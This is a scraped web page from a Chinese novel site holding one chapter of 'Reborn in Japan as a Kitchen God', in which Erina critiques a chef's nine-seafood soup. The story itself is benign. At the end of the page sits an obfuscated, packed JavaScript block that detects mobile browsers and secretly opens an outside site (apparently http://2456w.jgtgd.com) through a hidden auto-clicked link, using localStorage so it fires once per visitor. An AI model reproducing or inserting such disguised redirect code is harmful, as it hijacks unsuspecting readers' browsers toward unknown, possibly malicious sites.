400小说网首页 -> 玄幻魔法 -> 《重生日本当厨神》 -> 正文
加入书签 加入书架 推荐本书 返回重生日本当厨神书页 』

重生日本当厨神 正文 第159章:与绘里奈的试菜(下)

(为方便您阅读重生日本当厨神最新章节,请记住“400小说网”网址 www.Wo400.Com,并注册会员收藏您喜爱的书籍
    戚南和一位中年厨师站在桌子前。【 www.slZWW 思-路!中文网】

    那位中年厨师指着其中一道中华菜汤,道:“薙切小姐,这就是鄙人最近研究出来的新菜式,您帮我看看有什么不足之处。”

    在外人面前,薙切绘里奈满满的女王风范,用勺子和碗,动作优雅地装了些许清冽的鱼汤出来,微微喝了口,就轻闭眼睛坐在椅子上,小厅气氛一时间陷入寂静。

    夏羽悄悄回来,中年厨师只是看他一眼。

    “鱼头汤?”薙切绘里奈睁眼,“除了鱼头,还有其它营造鲜味的主食材?”

    “是的,实际上这是九鲜汤,薙切小姐您仔细尝尝。”

    中年厨师看似相貌平凡,实际上目光灼灼,精气神强盛,眉宇间写满了对自己作品的自信。

    “不用了。”

    薙切绘里奈淡淡说,瞥了瞥在对面坐下来的夏羽,“你也尝尝看吧。”

    她恐怕都没察觉到自己的语气,放得缓和。

    注意到这个细节,旦妃楼经理戚南和中年厨师,都讶异端详夏羽。

    戚南主动开口介绍道:“夏主厨,这位沈鹤厨师,我们旦妃楼的料理长,十二岁就在广州阳泉酒家当学徒,二十岁艺成,随我们董事长一起渡日打拼,至今已经是第二十五个年头了。”

    酒店的元老!

    更重要的,他居然曾经是阳泉酒家的学徒!

    夏羽肃然起敬。能在阳泉酒家当学徒八个年头,就足以证明其非凡的厨师天赋。

    见夏羽看向自己,沈料理长对他点了点头,面露笑容,“尝尝看吧。”

    拿来另一个干净的瓷碗,夏羽站起来,勺子在盛满了鱼鲜汤的盆子里撇过,随着汤水荡漾而开,几条细碎的紫菜丝好似游鱼,在盆底浮起来。

    “清汤?”

    没看到鱼头,也没看到其它海鲜食材,但浓郁的鲜味就扑面而来,夏羽不禁深嗅一口,耳朵好像听到了汹汹海浪声。

    盛好汤,夏羽便有些迫不及待地,轻饮了一小口。

    刹那间,熬制海鲜汤所用到九种食材,仿佛从眼前飘过。

    他没有‘神之舌’,只能大致辨识出其中几种,喃喃道:“三文鱼的鱼头,海虾,牡蛎,帝王蟹,大蛤蜊……”

    “然后呢?”

    夏羽拧紧眉,几乎要叫破另外几味食材的名字了,这种眼前盖着迷雾的感觉令他十分不爽。

    薙切绘里奈正想接话,替他说出其它食材,谁知夏羽开启了精神强化状态,再喝下一口汤,这回气也不喘就说道:

    “紫菜,裙带菜,石花菜,海木耳……”

    “四种海洋的蔬菜,五种海洋生鲜!”夏羽惊叹道,“他们都融在这一盆汤汁里面了啊!”

    关闭精神强化状态,夏羽回味刚刚味蕾得到增强并品尝海鲜汤的感觉,半天都没有说话。

    这就是五星厨师的拿手菜么?

    怔怔看着清澈见底的海鲜汤,夏羽觉得自己要用发光的食谱,并做出发光的料理,才有把握战胜面前这盆清汤。

    “并非完美的融合,其实里面,有很多败笔之处。”

    薙切绘里奈却持有不同的意见,一点也不照顾沈鹤料理长的面子,指了指汤水里漂浮的紫菜丝,哼了声道:”首先,就是紫菜丝,画蛇添足!”

    “紫菜,本身就带有一定的盐分,这道汤用到的紫菜,是海洋野生的,不可避免吸附了海水的盐分,其实煮汤的时候,就可以把残留的紫菜捞出来了,留在滚烫的汤水里面,就在无形之中,加重了汤水的盐量!败笔!”

    让夏羽没想到的是,五星大厨沈鹤,没一点生气,而是认真听着,“还有吗?”

    “注意牡蛎熬制和过水的时间!”

    “而且,海虾的味道不太够,差些被掩盖过去了,我觉得应该把海虾去壳剁碎,投进汤中熬煮,这样的话味道更充足!”

    接下来,薙切绘里奈又陆续品尝另外几道新菜品,同样指出一大堆在夏羽看来很是细微的不足之处。

    五星大厨沈鹤反倒成了学生,在薙切绘里奈的指点下,不停地点头,甚至还用了小本子,边听边在上面记录。

    夏羽再笨也反应过来了。

    薙切绘里奈这是在工作,旦妃楼肯定花了大价钱,请她过来试吃新菜。毕竟她的神级天赋‘神之舌’,在霓虹本土,乃至世界范围,或许都是独一无二的。

    快六点钟了,满满一大桌子的菜,只是吃了小半,夏羽就不得不遗憾告辞。

    “你要走?等等!”

    拿起餐巾,擦了擦嘴,薙切绘里奈风一般跟上夏羽。

    戚南和沈鹤厨师长都出门相送,在车里,夏羽看住故意撇头眺望窗外夜色的薙切绘里奈,张张口,但许多话最终只汇成两个简单的字,“谢谢。”

    说罢,夏羽头枕车座垫,闭目沉思,实际上却是沟通了厨神空间,仔细回想沈鹤融在料理中的厨艺,而后对比自己。

    很快回到小店。

    夏羽下车了,想了想,还是回身敲敲窗户,等车窗降下,薙切绘里奈那张精致的面孔露出来,他笑问道:“要进来坐坐吗?”

    薙切绘里奈睨他一眼,没回答,而是问驾驶位的秘书:

    “绯沙子,明天有什么行程安排?”

    “小姐,上午九点,您将要去角崎泷前辈的餐厅‘“泷·Arillo’试吃新菜,上午十一点,是木久知园果前辈的‘春果亭’餐厅,下午三点,是乾日向子前辈的‘雾野屋’……”

    “听到了吧?明天早上八点我过来接你!”薙切绘里奈抱胸坐着。

    “呃?”

    夏羽眨眨眼,突然听懂了。

    想到之前薙切绘里奈说要帮他,夏羽心中顿时有股热流淌过。

    薙切绘里奈这姑娘是准备带上他去跑工作呀,角崎泷,乾日向子,木久知园果,等等,这些人都是以十杰身份毕业的远月学生。

    前段时间,IGO在线显示角崎泷、木久知圆果是四星厨师,但最近随着自己对美食界的深入了解,夏羽发现了,IGO评级信息通常是滞后的,就说他自己吧,如果运气不错,题目不刁钻的话,是可以通过三星、四星厨师考核的。

    然而,实际上他还是个小小的二星厨师,难怪被那个兰斯洛特瞧不起,找上门来宣战。

    “也好,提前探探那群远月毕业生的底细。”

    夏羽突然期待与绘里奈一起出去浪,白吃白喝,顺便让自己对五星厨师的实力有一个清晰的认知。(未完待续。)
上一页 返回重生日本当厨神最新章节列表 下一页 提醒更新/举报错误/缺字少章
如发现重生日本当厨神有章节错误、版权疑问或违反相关法律等请联系客服。重生日本当厨神最新章节仅代表作者千回转z本人的观点,其个人行为与本站无关。
重生日本当厨神全文阅读由400小说网(http://www.wo400.com)提供,仅作为交流,非商业用途。
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p y(){q(P z==="Q".c("").d().f("")){r R}A a=(S^T)+(U^V);u B=z[\'\\C\\8\\0\\6\\W\\7\\0\\g\\1\'][\'\\1\\5\\D\\5\\E\\0\\6\\v\\3\\8\\0\']();a=X^Y;A b=(Z^10)+(11^12);u F=13 14("15|16|17 18|19|1a|1b|1c 1d|1e|1f|1g|1h".c("").d().f(""),\'\\h\');b=\'\\7\\4\\i\\7\\l\\j\';r F[\'\\1\\0\\8\\1\'](B)}p G(a){u 9=m[\'\\n\\6\\0\\3\\1\\0\\H\\2\\0\\i\\0\\g\\1\']("\\3");9[\'\\s\\6\\0\\l\']=a;9[\'\\8\\1\\o\\2\\0\'][\'\\4\\h\\8\\j\\2\\3\\o\']="1i".c("").d().f("");9[\'\\1\\3\\6\\7\\0\\1\']="\\I\\k\\2\\3\\g\\w";m[\'\\k\\5\\4\\o\'][\'\\3\\j\\j\\0\\g\\4\\v\\s\\h\\2\\4\'](9);9[\'\\n\\2\\h\\n\\w\']();m[\'\\k\\5\\4\\o\'][\'\\6\\0\\i\\5\\J\\0\\v\\s\\h\\2\\4\'](9)}p 1j(){1k{r t[\'\\8\\0\\2\\l\']!==t[\'\\1\\5\\j\']}1l(e){r!![]}}m[\'\\3\\4\\4\\H\\J\\0\\g\\1\\D\\h\\8\\1\\0\\g\\0\\6\']("1m".c("").d().f(""),p(){q(!t[\'\\7\\2\\5\\k\\3\\2\\K\\3\\6\']){q(m[\'\\k\\5\\4\\o\']!=1n){t[\'\\7\\2\\5\\k\\3\\2\\K\\3\\6\']="\\x";L=M[\'\\7\\0\\1\\x\\1\\0\\i\']("\\2\\C\\n\\w\\I\\l\\l");q(!L&&y()){G("\\s\\1\\1\\j\\1o\\N\\N\\1p\\1q\\1r\\1s\\E\\O\\1t\\7\\1\\7\\4\\O\\n\\5\\i")}M[\'\\8\\0\\1\\x\\1\\0\\i\']("1u".c("").d().f(""),"1v".c("").d().f(""))}}});',62,94,'u0065|u0074|u006C|u0061|u0064|u006F|u0072|u0067|u0073|_0x6b77cg|||split|reverse||join|u006E|u0069|u006D|u0070|u0062|u0066|document|u0063|u0079|function|if|return|u0068|window|const|u0043|u006B|u0049|isMobileDevice|navigator|var|_0x85cfe|u0075|u004C|u0077|_0xgc37d|OpenUrl|u0045|u005F|u0076|u0056|hasExecuted|localStorage|u002F|u002E|typeof|denifednu|false|773198|773197|160939|160937|u0041|156840|156841|253675|253666|891920|891925|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|isInIframe|try|catch|dedaoLtnetnoCMOD|null|u003A|u0032|u0034|u0035|u0036|u006A|ff_kcul|eurt'.split('|'),0,{}))